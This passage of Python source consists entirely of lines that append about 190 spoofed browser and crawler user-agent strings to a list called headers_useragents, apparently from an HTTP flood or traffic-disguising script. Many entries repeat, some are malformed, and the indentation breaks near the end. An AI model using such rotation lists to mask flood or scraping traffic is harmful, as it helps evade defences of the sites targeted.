  2757.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2758.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2759.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2760.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2761.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2762.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2763.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2764.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2765.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2766.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2767.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2768.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2769.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2770.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2771.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2772.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2773.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2774.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2775.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2776.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2777.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2778.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2779.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2780.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2781.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2782.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2783.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2784.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2785.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2786.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2787.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2788.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2789.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2790.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2791.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2792.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2793.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2794.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2795.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2796.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2797.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2798.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2799.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2800.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2801.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2802.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2803.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2804.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2805.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2806.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2807.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2808.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2809.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2810.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2811.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2812.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2813.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2814.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2815.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2816.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2817.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2818.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2819.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2820.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2821.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2822.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2823.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2824.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2825.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2826.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2827.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2828.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2829.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2830.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2831.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2832.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2833.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2834.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2835.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2836.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2837.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2838.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2839.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2840.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2841.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2842.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2843.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2844.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2845.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2846.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2847.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2848.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2849.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2850.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2851.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2852.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2853.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2854.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2855.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2856.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2857.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2858.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2859.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2860.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2861.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2862.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2863.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2864.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2865.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2866.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2867.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2868.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2869.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2870.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2871.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2872.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2873.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2874.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2875.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2876.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2877.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2878.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2879.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2880.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2881.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2882.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2883.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2884.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2885.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2886.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2887.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2888.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2889.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2890.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2891.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2892.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2893.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2894.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2895.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2896.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2897.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2898.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2899.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2900.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2901.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2902.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2903.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2904.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2905.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2906.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2907.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2908.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2909.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2910.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2911.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2912.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2913.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2914.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2915.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2916.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2917.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2918.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2919.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2920.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2921.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2922.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2923.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2924.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2925.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2926.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2927.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2928.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2929.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2930.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2931.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2932.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2933.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2934.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2935.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2936.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2937.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2938.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2939.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2940.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2941.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2942.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2943.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2944.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2945.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2946.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2947.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2948.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2949.         headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
